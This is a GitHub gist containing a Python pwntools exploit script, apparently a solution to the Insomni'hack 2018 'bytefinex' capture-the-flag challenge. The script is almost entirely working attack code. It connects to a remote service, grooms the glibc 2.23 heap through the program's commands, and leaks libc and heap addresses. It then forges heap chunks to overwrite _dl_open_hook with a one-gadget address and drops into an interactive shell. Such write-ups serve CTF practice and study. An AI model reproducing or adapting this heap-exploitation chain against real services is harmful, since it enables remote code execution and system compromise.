Skip to content

Instantly share code, notes, and snippets.

@yannayl
Created March 24, 2018 03:21
Show Gist options
  • Save yannayl/20fe83eb67a3c434a15b80710ba3de5e to your computer and use it in GitHub Desktop.
Save yannayl/20fe83eb67a3c434a15b80710ba3de5e to your computer and use it in GitHub Desktop.
solution to insomnihack18 bytefinex challenge
from pwn import *
context.bits = 64
libc = ELF('./libc-223-05b841eae6f475817ebb3b99562cd6535cc61b099350a25019cd5d3b3136881d.so')
main = ELF('./bytefinex-8fe15d1eb750fe2cb0b2dae88a048c1876c799fb37f9d73ba3646f7d158774a9.bin.dbg')
dbg_file = './libc-2.23.debug'
local = False
if local:
r = main.process(env={'LD_PRELOAD' : libc.path})
else:
r = remote("10.13.37.67", 1337)
def gdb_load_symbols_cmd(sym_file, elf, base):
sec_str = []
for s in elf.sections:
if not s.name or not s.header.sh_addr:
continue
sec_str.append('-s {} 0x{:x}'.format(s.name, base + s.header.sh_addr))
text_addr = elf.get_section_by_name('.text').header.sh_addr + base
return 'add-symbol-file {} 0x{:x} {} \n'.format(sym_file, text_addr, ' '.join(sec_str))
BASE = 0x555555554000
PS1 = "root@ubuntu:~#"
def addt(s, wait=True):
if '\0' in s:
s = s[:s.index('\0')]
success("addt " + s)
r.sendline("addt " + s)
if wait:
r.recvuntil(PS1)
def showt():
r.sendline("showt")
ret = r.recvuntil(PS1, drop=True)
lines = filter(lambda x: "->" in x, ret.split('\n'))
for i in xrange(0, len(lines), 2):
tid = lines[i].split('-> ')[1]
label = lines[i+1].split('-> ')[1]
success("tid: {}, label: {}".format(tid, label))
return lines
def delt(s):
success("delt " + s)
r.sendline("delt " + s)
r.recvuntil(PS1)
def chgt(o, n):
r.sendline("chgt " + o + " " + n)
r.recvuntil(PS1)
def addc(s):
success("addc " + s)
r.sendline("addc " + s)
r.recvuntil(PS1)
def showc():
r.sendline("showc")
ret = r.recvuntil(PS1, drop=True)
lines = filter(lambda x: "->" in x, ret.split('\n'))
for i in xrange(0, len(lines), 2):
cid = lines[i].split('-> ')[1]
label = lines[i+1].split('-> ')[1]
success("tid: {}, label: {}".format(cid, label))
return lines
def delc(s):
success("delc " + s)
r.sendline("delc " + s)
r.recvuntil(PS1)
def chgc(o, n):
r.sendline("chgc " + o + " " + n)
r.recvuntil(PS1)
def get_idt(label):
lines = showt()
for i in xrange(0, len(lines), 2):
tid = lines[i].split('-> ')[1]
tlabel = lines[i+1].split('-> ')[1]
if tlabel == label:
success("found label {}".format(label))
break
else:
error("failed to find label")
return tid
def get_idc(label):
lines = showc()
for i in xrange(0, len(lines), 2):
cid = lines[i].split('-> ')[1]
clabel = lines[i+1].split('-> ')[1]
if clabel == label:
success("found label {}".format(label))
break
else:
error("failed to find label")
return cid
debug = True
if local and debug:
gdb.attach(r,
gdb_load_symbols_cmd(dbg_file, libc, r.libs()[libc.path]) + """
set substitute-path /build/glibc-bfm8X4/ /usr/src/glibc
b free
disable 1
c"""
)
db = de_bruijn()
def dbget(n):
return ''.join([next(db) for _ in xrange(n)])
def sortt():
label = dbget(0x220)
addt(label)
delt(get_idt(label))
r.recvuntil(PS1)
tlabel0 = dbget(0x157)
tlabel1 = dbget(0x17)
tlabel2 = dbget(0x17)
tlabel3 = dbget(0x17)
tlabel4 = dbget(0x37)
tlabel5 = dbget(0x117)
tlabel6 = dbget(0x17)
tlabel7 = dbget(0x17)
tlabel8 = dbget(0x17)
tlabel9 = dbget(0xb7)
tlabel10 = dbget(0xb7)
tlabel11 = dbget(0x18)
tlabel12 = dbget(0x17)
addt(tlabel0)
addt(tlabel1)
addt(tlabel2)
addt(tlabel3)
delt(get_idt(tlabel0))
sortt()
addt(tlabel4)
delt(get_idt(tlabel2))
sortt()
addt(tlabel5)
idt5 = get_idt(tlabel5)
repl = 'hcaahdaaheaahfaahgaahhaahiaahjaahkaahla'
idx = tlabel5.index(repl)
for i in xrange(len(repl), -1, -1):
chgt(idt5, tlabel5[:idx] + repl[:i] + (p64(0x100) + p64(0x21))[i:])
delt(get_idt(tlabel4))
delt(get_idt(tlabel1))
delt(get_idt(tlabel3))
sortt()
info(6)
addt(tlabel6)
info(7)
addt(tlabel7)
info(8)
addt(tlabel8)
delt(get_idt(tlabel6))
delt(get_idt(tlabel7))
sortt()
info(9)
addt(tlabel9)
info(10)
addt(tlabel10)
idt10 = get_idt(tlabel10)
delt(get_idt(tlabel8))
info(11)
addt(tlabel11)
repl = "aalzaamb"
idt11 = get_idt(tlabel11)
idx = tlabel11.index(repl)
for i in xrange(len(repl), -1, -1):
chgt(idt11, tlabel11[:idx] + repl[:i] + (p64(0x40))[i:])
delt(idt5)
info(12)
addt(tlabel12)
delt(get_idt(tlabel9))
leak = showt()[1].split('-> ')[1]
print hexdump(leak)
LIBC_OFFSET = 0x3c4b78
unsorted_bin = u64(leak[:8])
heap_leak = u64(leak[8:16])
libc.address = unsorted_bin - LIBC_OFFSET
info("libc: {:#x}".format(libc.address))
if local:
assert libc.address == r.libs()[libc.path]
def putdata(idt, buf):
chgt(idt, 'a' * len(buf))
for i in xrange(len(buf) - 1, -1, -1):
if '\0' != buf[i]:
continue
chgt(idt, 'a' * i + buf[i:])
chgt(idt, buf)
## unsorted bin
chunk10 = heap_leak + 0xa324b0 - 0xa32200
info("{:#x}".format(chunk10))
putdata(idt10,
fit({
0:flat(0, 0x401, dbget(8), chunk10 + 0x30, 0, 0),
0x30:flat(0, 0xa1, dbget(8), chunk10 + 0x60, 0, 0),
0x60:flat(0, 0x411, dbget(8), chunk10 + 0x90, 0, 0),
0x90:flat(0, 0xa1, dbget(8), chunk10 + 0x90, 0, 0),
}))
putdata(idt11, flat(0xdeadbeef, chunk10))
db2 = de_bruijn()
def dbg2(n):
return ''.join([next(db2) for _ in xrange(n)])
raw_input('fdsafdas')
tlabel13 = dbget(0x117)
addt(tlabel13)
putdata(idt10,
fit({
0:flat(0, 0x401, dbget(8), chunk10 + 0x30, dbg2(8), libc.symbols["_dl_open_hook"] - 0x20),
0x30:flat(0, 0xa1, dbget(8), chunk10 + 0x60, 0, 0),
0x60:flat(0xf1147 + libc.address, 0x411, dbget(8), chunk10 + 0x90, 0, 0),
0x90:flat(0, 0xa1, dbget(8), chunk10 + 0x90, 0, 0),
}))
addt(tlabel0, wait=False)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment